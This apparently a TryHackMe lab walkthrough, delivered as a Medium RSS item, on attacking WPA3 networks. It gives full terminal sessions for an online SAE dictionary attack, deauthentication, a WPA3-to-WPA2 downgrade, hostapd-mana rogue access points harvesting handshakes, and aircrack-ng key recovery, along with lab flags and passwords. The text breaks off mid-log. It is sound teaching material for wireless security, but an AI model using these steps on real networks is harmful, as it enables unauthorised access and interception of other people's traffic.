<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ag3ntOrang3 on Medium]]></title>
        <description><![CDATA[Stories by Ag3ntOrang3 on Medium]]></description>
        <link>https://medium.com/@ag3ntorang3cyb3r?source=rss-91510a24d95d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8u890xxKaP32ECzEUYguKQ.png</url>
            <title>Stories by Ag3ntOrang3 on Medium</title>
            <link>https://medium.com/@ag3ntorang3cyb3r?source=rss-91510a24d95d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 13:14:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ag3ntorang3cyb3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Attacking WPA3 and Rogue Access Points — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/attacking-wpa3-and-rogue-access-points-tryhackme-walkthrough-f418fc0cb3f5?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f418fc0cb3f5</guid>
            <category><![CDATA[wireless-security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[wpa3]]></category>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 02:21:56 GMT</pubDate>
            <atom:updated>2026-10-24T02:21:56.934Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*xspIhhuAxf-vNSRGrJVzSw.png" /></figure><h3>Task 1</h3><p>Deploy the machine and read through the introduction, then continue to the next task when you are ready.</p><p>No answer needed</p><pre>ssh user@10.144.155.182</pre><pre>user@ip-10-144-155-182:~$ sudo iw dev<br>phy#65<br>	Interface wlan63<br>		ifindex 70<br>		wdev 0x4100000001<br>		addr 02:00:00:00:3f:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#64<br>	Interface wlan62<br>		ifindex 69<br>		wdev 0x4000000001<br>		addr 02:00:00:00:3e:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#62<br>	Interface wlan60<br>		ifindex 67<br>		wdev 0x3e00000001<br>		addr 02:00:00:00:3c:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#7<br>	Interface wlan5<br>		ifindex 12<br>		wdev 0x700000001<br>		addr 02:00:00:00:05:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#6<br>	Interface wlan4<br>		ifindex 11<br>		wdev 0x600000001<br>		addr 02:00:00:00:04:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#5<br>	Interface wlan3<br>		ifindex 10<br>		wdev 0x500000001<br>		addr 02:00:00:00:03:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#4<br>	Interface wlan2<br>		ifindex 9<br>		wdev 0x400000001<br>		addr 02:00:00:00:02:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#3<br>	Interface wlan1<br>		ifindex 8<br>		wdev 0x300000001<br>		addr 02:00:00:00:01:00<br>		type managed<br>		txpower 20.00 dBm<br>phy#2<br>	Unnamed/non-netdev interface<br>		wdev 0x200000002<br>		addr 42:00:00:00:00:00<br>		type P2P-device<br>		txpower 20.00 dBm<br>	Interface wlan0<br>		ifindex 7<br>		wdev 0x200000001<br>		addr 02:00:00:00:00:00<br>		type managed<br>		txpower 20.00 dBm</pre><pre>user@ip-10-144-155-182:~$ sudo airmon-ng check kill</pre><pre>Killing these processes:</pre><pre>    PID Name<br>    493 dhclient<br>    671 wpa_supplicant<br>   6851 avahi-daemon<br>   6858 avahi-daemon</pre><pre>user@ip-10-144-155-182:~$ sudo airmon-ng start wlan0</pre><pre>Found 2 processes that could cause trouble.<br>Kill them using &#39;airmon-ng check kill&#39; before putting<br>the card in monitor mode, they will interfere by changing channels<br>and sometimes putting the interface back in managed mode</pre><pre>    PID Name<br>   6870 avahi-daemon<br>   6872 avahi-daemon</pre><pre>PHY	Interface	Driver		Chipset</pre><pre>phy2	wlan0		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>		(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)<br>		(mac80211 station mode vif disabled for [phy2]wlan0)<br>phy3	wlan1		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy4	wlan2		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy5	wlan3		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy6	wlan4		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy7	wlan5		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy62	wlan60		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy64	wlan62		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211<br>phy65	wlan63		mac80211_hwsim	Software simulator of 802.11 radio(s) for mac80211</pre><h3>Task 2</h3><p>What handshake does WPA3-Personal use instead of the four-way handshake?</p><p>SAE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*IpJDA5sJZUOFyK-UKt5M5A.png" /></figure><p>Which WPA3 mechanism encrypts traffic on a network that requires no passphrase?</p><p>OWE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*Q3EuU3dIWr1ddXYwOmhezQ.png" /></figure><h3>Task 3</h3><p>What type of dictionary attack must be used against SAE?</p><p>online</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*2Qxgr24gNhHiHY4FE4sN9g.png" /></figure><p>Name the WPA3 side-channel attack family disclosed in 2019.</p><p>dragonblood</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*JuIcIhJ6AKEHDaSE8ws1zw.png" /></figure><p>Flag from the WPA3-SAE network (Mgmt-WiFi).</p><p>THM{f1799225abbd0eb99d3bd53301087207f5208611}</p><pre>user@ip-10-144-155-182:~$ cd /tmp</pre><pre>user@ip-10-144-155-182:/tmp$ nano  mgmt-wifi.conf</pre><pre>p2p_disabled=1<br>network={<br>    ssid=&quot;Mgmt-WiFi&quot;<br>    key_mgmt=SAE<br>    psk=&quot;chocolate1&quot;<br>    ieee80211w=2<br>}</pre><pre>user@ip-10-144-155-182:~$ sudo airodump-ng -c 11 --bssid F0:9F:C2:11:0A:24 -w mgmt-wifi wlan0mon<br>01:35:43  Created capture file &quot;mgmt-wifi-01.cap&quot;.</pre><pre> CH 11 ][ Elapsed: 1 min ][ 2026-10-24 01:37 </pre><pre> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH</pre><pre> F0:9F:C2:11:0A:24  -28   0      950        0    0  11   54e  WPA3 CCMP   SAE </pre><pre> BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Pr</pre><pre>Quitting...<br>user@ip-10-144-155-182:~$ sudo wpa_supplicant -i wlan1 -c /tmp/mgmt-wifi.conf -B<br>Successfully initialized wpa_supplicant<br>user@ip-10-144-155-182:~$ sudo hcxpcapngtool -o mgmt-wifi.22000 mgmt-wifi-01.cap<br>hcxpcapngtool 7.1.0 reading from mgmt-wifi-01.cap...</pre><pre>summary capture file<br>--------------------<br>file name................................: mgmt-wifi-01.cap<br>version (pcap/cap).......................: 2.4 (very basic format without any additional information)<br>timestamp minimum (timestamp)............: 23.10.2026 23:35:44 (1792798544)<br>timestamp maximum (timestamp)............: 23.10.2026 23:37:17 (1792798637)<br>duration of the dump tool (minutes)......: 1<br>used capture interfaces..................: 1<br>link layer header type...................: DLT_IEEE802_11 (105) very basic format without any additional information about the quality<br>endianness (capture system)..............: little endian<br>packets inside...........................: 53<br>ESSID (total unique).....................: 1<br>BEACON (total)...........................: 1<br>BEACON on 2.4 GHz channel (from IE_TAG)..: 11 <br>PROBERESPONSE (total)....................: 52<br>EAPOL ANONCE error corrections (NC)......: not detected</pre><pre>Information: limited dump file format detected!<br>This file format is a very basic format to save captured network data.<br>It is recommended to use PCAP Next Generation dump file format (or pcapng for short) instead. The PCAP Next Generation dump file format is an attempt to overcome the limitations of the currently widely used (but very limited) libpcap (cap, pcap) format.<br>&lt;https://www.wireshark.org/docs/wsug_html_chunked/AppFiles.html#ChAppFilesCaptureFilesSection&gt;<br>&lt;https://github.com/pcapng/pcapng&gt;</pre><pre>Information: radiotap header is missing!<br>Radiotap is a de facto standard for 802.11 frame injection and reception. The radiotap header format is a mechanism to supply additional information about frames, from the driver to userspace applications.<br>&lt;https://www.radiotap.org/&gt;</pre><pre>Information: missing frames!<br>This dump file does not contain undirected proberequest frames.<br>An undirected proberequest may contain information about the PSK. It always happens if the capture file was cleaned or it could happen if filter options are used during capturing.<br>That makes it hard to recover the PSK.<br>&lt;https://github.com/ZerBea/hcxdumptool/discussions/526&gt;</pre><pre>Information: missing frames!<br>This dump file does not contain important frames like authentication, association or reassociation.<br>It always happens if the capture file was cleaned or it could happen if filter options are used during capturing. That makes it hard to recover the PSK.</pre><pre>Information: missing frames!<br>This dump file does not contain enough EAPOL M1 frames.<br>It always happens if the capture file was cleaned or it could happen if filter options are used during capturing.<br>That makes it impossible to calculate nonce-error-correction values.<br>&lt;https://hashcat.net/forum/thread-6361.html&gt;</pre><pre>Information: no hashes written to hash files</pre><pre>session summary<br>---------------<br>processed cap files...................: 1</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f &#39;wpa_supplicant -i wlan1&#39;</pre><pre>user@ip-10-144-155-182:~$ sudo iw dev wlan1 link<br>Not connected.<br>user@ip-10-144-155-182:~$ sudo python3 /root/tools/wacker/wacker.py --wordlist /home/user/wordlists/wifi-passwords.txt \<br>  --interface wlan1 --bssid F0:9F:C2:11:0A:24 --ssid Mgmt-WiFi --freq 2462<br>Starting wpa_supplicant...<br>Successfully initialized wpa_supplicant<br>Start time: 24 Oct 2026 01:38:31<br>       1 / 4808     words (0.02%) :   12 words/sec : 0.000 hours lapsed :     <br>       <br>       <br>   3300 / 4808     words (68.64%) :   27 words/sec : 0.042 hours lapsed :         <br>   3301 / 4808     words (68.66%) :   27 words/sec : 0.042 hours lapsed :         <br>   3302 / 4808     words (68.68%) :   27 words/sec : 0.042 hours lapsed :     0.02 hours to exhaust (24 Oct 2026 01:41:57)<br>Found the password: &#39;chocolate1&#39;</pre><pre>Stop time: 24 Oct 2026 01:41:01</pre><pre>user@ip-10-144-155-182:~$ sudo tail -f /tmp/wacker/wlan1_wacker.log</pre><pre>Trying key: claudia1<br>BRUTE ATTEMPT FAIL</pre><pre>Trying key: classified<br>BRUTE ATTEMPT FAIL</pre><pre>Trying key: chocolate1<br>BRUTE ATTEMPT SUCCESS</pre><pre>^C</pre><pre>user@ip-10-144-155-182:~$ </pre><pre>user@ip-10-144-155-182:~$ sudo wpa_supplicant -i wlan1 -c /tmp/mgmt-wifi.conf -B<br>Successfully initialized wpa_supplicant</pre><pre>user@ip-10-144-155-182:~$ sudo dhclient wlan1</pre><pre>user@ip-10-144-155-182:~$ curl &lt;http://192.168.14.1/login.php&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>  &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>  &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;</pre><pre>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;</pre><pre>&lt;div class=&quot;content&quot;&gt;<br>Flag: &lt;button onclick=&quot;copyFlagToClipboard(&#39;THM{f1799225abbd0eb99d3bd53301087207f5208611}&#39;)&quot;&gt;THM{f1799225abbd0eb99d3bd53301087207f5208611}&lt;/button&gt;<br>&lt;!-- LOGIN UI --&gt;<br>&lt;form action=&quot;login.php&quot; method=&quot;post&quot; name=&quot;Login_Form&quot;&gt;<br>  &lt;table width=&quot;400&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;1&quot; class=&quot;Table&quot;&gt;<br>    <br>    &lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;h3&gt;Login&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;</pre><pre>    &lt;tr&gt;&lt;td align=&quot;right&quot;&gt;Username&lt;/td&gt;<br>    &lt;td&gt;&lt;input name=&quot;Username&quot; type=&quot;text&quot; class=&quot;Input&quot;&gt;&lt;/td&gt;&lt;/tr&gt;</pre><pre>    &lt;tr&gt;&lt;td align=&quot;right&quot;&gt;Password&lt;/td&gt;<br>    &lt;td&gt;&lt;input name=&quot;Password&quot; type=&quot;password&quot; class=&quot;Input&quot;&gt;&lt;/td&gt;&lt;/tr&gt;</pre><pre>    &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;Login&quot; class=&quot;Button3&quot;&gt;&lt;/td&gt;&lt;/tr&gt;</pre><pre>  &lt;/table&gt;<br>&lt;/form&gt;</pre><pre>&lt;!-- FOOTER COPYRIGHT --&gt;<br>&lt;div style=&quot;text-align:center; margin-top:40px; font-size:12px; color:#888;&quot;&gt;<br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    Guest Wi-Fi  <br>  &lt;/a&gt;<br>  © <br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    2026  &lt;/a&gt;<br>&lt;/div&gt;</pre><pre>&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Task 4</h3><pre>user@ip-10-144-155-182:~$ sudo iw dev wlan1 scan | grep -A10 &#39;SSID: Mgmt-WiFi&#39; | grep -E &#39;SSID|Authentication&#39;<br>	SSID: Mgmt-WiFi<br>		 * Authentication suites: SAE</pre><pre>		 <br>user@ip-10-144-155-182:~$ sudo iw dev wlan1 scan | grep -A10 &#39;SSID: IT-Admin&#39; | grep -E &#39;SSID|Authentication&#39;<br>        SSID: IT-Admin<br>	SSID: IT-Admin<br>		 * Authentication suites: PSK SAE</pre><pre>user@ip-10-144-155-182:~$ sudo /root/tools/hostapd-mana/hostapd/hostapd /tmp/rogue_it.conf<br>Configuration file: /tmp/rogue_it.conf<br>Using interface wlan2 with hwaddr 02:00:00:00:02:00 and ssid &quot;IT-Admin&quot;<br>wlan2: interface state UNINITIALIZED-&gt;ENABLED<br>wlan2: AP-ENABLED</pre><pre>user@ip-10-144-155-182:~$ sudo aireplay-ng -0 4 -a F0:9F:C2:1A:CA:25 -c 10:F9:6F:AC:53:52 wlan0mon<br>02:03:48  Waiting for beacon frame (BSSID: F0:9F:C2:1A:CA:25) on channel 11<br>02:03:49  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]<br>02:03:49  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]<br>02:03:50  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]<br>02:03:50  Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]</pre><pre>wlan2: STA 10:f9:6f:ac:53:52 IEEE 802.11: authenticated<br>wlan2: STA 10:f9:6f:ac:53:52 IEEE 802.11: associated (aid 1)<br>MANA: Captured a WPA/2 handshake from: 10:f9:6f:ac:53:52<br>MANA WPA2 HASHCAT | WPA*02*17592f15f36b5c5963c39b8860fe3226*020000000200*10f96fac5352*49542d41646d696e*4efe9367d2c052f23d9ddbb194349ea294f40d68791786e6ab6e57b9ab28d76b*0103007502010a00000000000000000001ad6e136114f4385889b33c2e3863fb7275c9864f7b6aba4ca405f29c9dd44f6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 10:f9:6f:ac:53:52<br>MANA: Captured a WPA/2 handshake from: 10:f9:6f:ac:53:52<br>MANA WPA2 HASHCAT | WPA*02*5fb5bd1daab6a9600a953ff178d66917*020000000200*10f96fac5352*49542d41646d696e*4efe9367d2c052f23d9ddbb194349ea294f40d68791786e6ab6e57b9ab28d76b*0103007502010a00000000000000000002ad6e136114f4385889b33c2e3863fb7275c9864f7b6aba4ca405f29c9dd44f6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 10:f9:6f:ac:53:52<br>MANA: Captured a WPA/2 handshake from: 10:f9:6f:ac:53:52<br>MANA WPA2 HASHCAT | WPA*02*bf7a3ff2bbb09681ab08debb7c89edf4*020000000200*10f96fac5352*49542d41646d696e*4efe9367d2c052f23d9ddbb194349ea294f40d68791786e6ab6e57b9ab28d76b*0103007502010a00000000000000000003ad6e136114f4385889b33c2e3863fb7275c9864f7b6aba4ca405f29c9dd44f6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 10:f9:6f:ac:53:52<br>MANA: Captured a WPA/2 handshake from: 10:f9:6f:ac:53:52<br>MANA WPA2 HASHCAT | WPA*02*0108be914f084575b773c07dba109ca9*020000000200*10f96fac5352*49542d41646d696e*4efe9367d2c052f23d9ddbb194349ea294f40d68791786e6ab6e57b9ab28d76b*0103007502010a00000000000000000004ad6e136114f4385889b33c2e3863fb7275c9864f7b6aba4ca405f29c9dd44f6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 10:f9:6f:ac:53:52<br>wlan2: STA 10:f9:6f:ac:53:52 IEEE 802.11: deauthenticated due to local deauth request</pre><pre>user@ip-10-144-155-182:~$ sudo airodump-ng -c 11 --bssid 02:00:00:00:02:00 -w downgrade wlan0mon<br>02:14:17  Created capture file &quot;downgrade-01.cap&quot;.</pre><pre> CH 11 ][ Elapsed: 4 mins ][ 2026-10-24 02:18 ][ WPA handshake: 02:00:00:00:02</pre><pre> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH</pre><pre> 02:00:00:00:02:00  -28 100     1585        8    0  11   54   WPA2 CCMP   PSK </pre><pre> BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Pr</pre><pre> 02:00:00:00:02:00  10:F9:6F:AC:53:52  -29    1 - 1      0       10  EAPOL     <br>Quitting...</pre><pre>user@ip-10-144-155-182:~$ sudo aircrack-ng -w /home/user/wordlists/wifi-passwords.txt -b 02:00:00:00:02:00 downgrade-05.cap<br>Reading packets, please wait...<br>Opening downgrade-05.cap<br>Read 69 packets.</pre><pre>1 potential targets</pre><pre>                         Aircrack-ng 1.7 rev d3127e74</pre><pre>      [00:00:07] 4756/4808 keys tested (689.24 k/s) </pre><pre>      Time left: 0 seconds                                      98.92%</pre><pre>                           KEY FOUND! [ bubblegum ]</pre><pre>      Master Key     : 9E 14 13 8F BB 60 22 60 CE A1 11 B8 44 98 FF F9 <br>                       CA 02 F9 02 4C 0A 9F 7A 7A CA E8 BC 97 D8 16 AF </pre><pre>      Transient Key  : DD 73 37 27 B7 07 61 8B A0 4E B1 27 E0 03 AC 37 <br>                       00 59 88 83 9A 61 A5 0A C9 0C 45 51 F0 73 6A 0E <br>                       C6 49 DD 47 7A 70 F5 98 88 AB 21 93 D2 DF A3 65 <br>                       F6 84 3F 7F AC EA 70 7C 5B 64 29 A7 62 9A 41 DD </pre><pre>      EAPOL HMAC     : F8 7A 28 85 70 BC BB 07 C5 F6 E6 3A D7 19 F8 46</pre><pre>user@ip-10-144-155-182:~$ nano /tmp/it-admin.conf</pre><pre>network={<br>    ssid=&quot;IT-Admin&quot;<br>    key_mgmt=WPA-PSK<br>    psk=&quot;bubblegum&quot;<br>    ieee80211w=1<br>}</pre><pre>user@ip-10-144-155-182:~$ sudo wpa_supplicant -i wlan1 -c /tmp/it-admin.conf<br>Successfully initialized wpa_supplicant<br>Connected to f0:9f:c2:1a:ca:25 (on wlan1)<br>	SSID: IT-Admin<br>	freq: 2462<br>	RX: 2275 bytes (30 packets)<br>	TX: 700 bytes (6 packets)<br>	signal: -30 dBm<br>	rx bitrate: 1.0 MBit/s<br>	tx bitrate: 2.0 MBit/s</pre><pre>	bss flags:	short-slot-time<br>	dtim period:	2<br>	beacon int:	100</pre><pre>user@ip-10-144-155-182:/tmp$ ip addr show wlan1<br>8: wlan1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000<br>    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff<br>    inet 192.168.15.23/24 brd 192.168.15.255 scope global wlan1<br>       valid_lft forever preferred_lft forever<br>    inet6 fe80::ff:fe00:100/64 scope link <br>       valid_lft forever preferred_lft forever</pre><pre>user@ip-10-144-155-182:/tmp$ curl -s &lt;http://192.168.15.1/login.php&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>  &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>  &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;</pre><pre>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;</pre><pre>&lt;div class=&quot;content&quot;&gt;<br>Flag: &lt;button onclick=&quot;copyFlagToClipboard(&#39;THM{57c0d2e2dcb126521a7ced35c58e1be5c34d632b}&#39;)&quot;&gt;THM{57c0d2e2dcb126521a7ced35c58e1be5c34d632b}&lt;/button&gt;</pre><p>You force a WPA3 transition-mode client onto which weaker protocol?</p><p>WPA2</p><p>What is the recovered passphrase for the IT-Admin network?</p><p>bubblegum</p><p>What is the flag returned by the IT-Admin portal after the downgrade?</p><p>THM{57c0d2e2dcb126521a7ced35c58e1be5c34d632b}</p><h3>Task 5</h3><p>Which management frame, broadcast by clients, reveals the network names they trust?</p><p>probe request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*eWs27ncffUg0VFkyZLEe0w.png" /></figure><h3>Task 6</h3><pre>user@ip-10-144-155-182:~$ nano /tmp/mana.conf</pre><pre>user@ip-10-144-155-182:~$ sudo kill 225221<br>sudo /root/tools/hostapd-mana/hostapd/hostapd /tmp/mana.conf<br>Configuration file: /tmp/mana.conf<br>Using interface wlan2 with hwaddr 02:00:00:00:02:00 and ssid &quot;Free-WiFi&quot;<br>wlan2: interface state UNINITIALIZED-&gt;ENABLED<br>wlan2: AP-ENABLED <br>MANA - Directed probe request for SSID &#39;CorpNet-Legacy&#39; from 64:32:a8:ad:ab:53<br>MANA - Directed probe request for SSID &#39;Depot-Guest&#39; from 02:00:00:00:27:00<br>MANA - Directed probe request for SSID &#39;Office-WiFi&#39; from 78:c1:a7:bf:72:46<br>MANA - Directed probe request for SSID &#39;Jason&#39; from 78:c1:a7:bf:72:46<br>MANA - Directed probe request for SSID &#39;Office-WiFi&#39; from b4:99:ba:6f:f9:45<br>MANA - Directed probe request for SSID &#39;Jason&#39; from b4:99:ba:6f:f9:45<br>MANA - Directed probe request for SSID &#39;CorpNet-Mobile&#39; from 16:be:dc:f0:c1:2f<br>wlan2: STA b4:99:ba:6f:f9:45 IEEE 802.11: authenticated<br>wlan2: STA b4:99:ba:6f:f9:45 IEEE 802.11: associated (aid 1)<br>wlan2: STA 78:c1:a7:bf:72:46 IEEE 802.11: authenticated<br>wlan2: STA 78:c1:a7:bf:72:46 IEEE 802.11: associated (aid 2)<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*db380dea59704981c1d87087b17bb1a6*020000000200*b499ba6ff945*467265652d57694669*fdc50c9fb6b695a8ddf32269128c41213b05a45a26f25f8bd633eaa29c344699*0103007502010a000000000000000000013e6d774b46c2a05ad0268c76cd55e5bc94481052f6c66f234e3921be8485927c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH b4:99:ba:6f:f9:45<br>MANA: Captured a WPA/2 handshake from: 78:c1:a7:bf:72:46<br>MANA WPA2 HASHCAT | WPA*02*d0538e95360d91bc1e9efbd1c1aaa60d*020000000200*78c1a7bf7246*467265652d57694669*23287937b24f170c56c5f8fef8f59a97348c5741311b48d64acf1083a84eca43*0103007502010a000000000000000000011c9cb649778f12d4dd09549ec97f586b3155421c260abb142d1ab880d2559b38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 78:c1:a7:bf:72:46<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*cb4c4ca301687817a12df6c444aedde3*020000000200*b499ba6ff945*467265652d57694669*fdc50c9fb6b695a8ddf32269128c41213b05a45a26f25f8bd633eaa29c344699*0103007502010a000000000000000000023e6d774b46c2a05ad0268c76cd55e5bc94481052f6c66f234e3921be8485927c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH b4:99:ba:6f:f9:45<br>MANA: Captured a WPA/2 handshake from: 78:c1:a7:bf:72:46<br>MANA WPA2 HASHCAT | WPA*02*0b4309d523a5f76b7fbaba6e3ccf952f*020000000200*78c1a7bf7246*467265652d57694669*23287937b24f170c56c5f8fef8f59a97348c5741311b48d64acf1083a84eca43*0103007502010a000000000000000000021c9cb649778f12d4dd09549ec97f586b3155421c260abb142d1ab880d2559b38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 78:c1:a7:bf:72:46<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*734de2679e809dae9acc39432e091266*020000000200*b499ba6ff945*467265652d57694669*fdc50c9fb6b695a8ddf32269128c41213b05a45a26f25f8bd633eaa29c344699*0103007502010a000000000000000000033e6d774b46c2a05ad0268c76cd55e5bc94481052f6c66f234e3921be8485927c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH b4:99:ba:6f:f9:45<br>MANA: Captured a WPA/2 handshake from: 78:c1:a7:bf:72:46<br>MANA WPA2 HASHCAT | WPA*02*f387aaf4b6d20afa6ec1024b88bd3cdc*020000000200*78c1a7bf7246*467265652d57694669*23287937b24f170c56c5f8fef8f59a97348c5741311b48d64acf1083a84eca43*0103007502010a000000000000000000031c9cb649778f12d4dd09549ec97f586b3155421c260abb142d1ab880d2559b38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 78:c1:a7:bf:72:46<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*ed5f723cc95d67cc3005c50802fa7bbd*020000000200*b499ba6ff945*467265652d57694669*fdc50c9fb6b695a8ddf32269128c41213b05a45a26f25f8bd633eaa29c344699*0103007502010a000000000000000000043e6d774b46c2a05ad0268c76cd55e5bc94481052f6c66f234e3921be8485927c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH b4:99:ba:6f:f9:45<br>MANA: Captured a WPA/2 handshake from: 78:c1:a7:bf:72:46<br>MANA WPA2 HASHCAT | WPA*02*b402b364005ba8bb0d9ebc7197d97a97*020000000200*78c1a7bf7246*467265652d57694669*23287937b24f170c56c5f8fef8f59a97348c5741311b48d64acf1083a84eca43*0103007502010a000000000000000000041c9cb649778f12d4dd09549ec97f586b3155421c260abb142d1ab880d2559b38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 78:c1:a7:bf:72:46</pre><pre>user@ip-10-144-155-182:~$ nano /tmp/rogue_office.conf</pre><pre>user@ip-10-144-155-182:~$ sudo /root/tools/hostapd-mana/hostapd/hostapd /tmp/rogue_office.conf<br>Configuration file: /tmp/rogue_office.conf<br>Using interface wlan2 with hwaddr 02:00:00:00:02:00 and ssid &quot;Office-WiFi&quot;<br>wlan2: interface state UNINITIALIZED-&gt;ENABLED<br>wlan2: AP-ENABLED <br>wlan2: STA b4:99:ba:6f:f9:45 IEEE 802.11: authenticated<br>wlan2: STA 78:c1:a7:bf:72:46 IEEE 802.11: authenticated<br>wlan2: STA 78:c1:a7:bf:72:46 IEEE 802.11: associated (aid 1)<br>wlan2: STA b4:99:ba:6f:f9:45 IEEE 802.11: associated (aid 2)<br>MANA: Captured a WPA/2 handshake from: 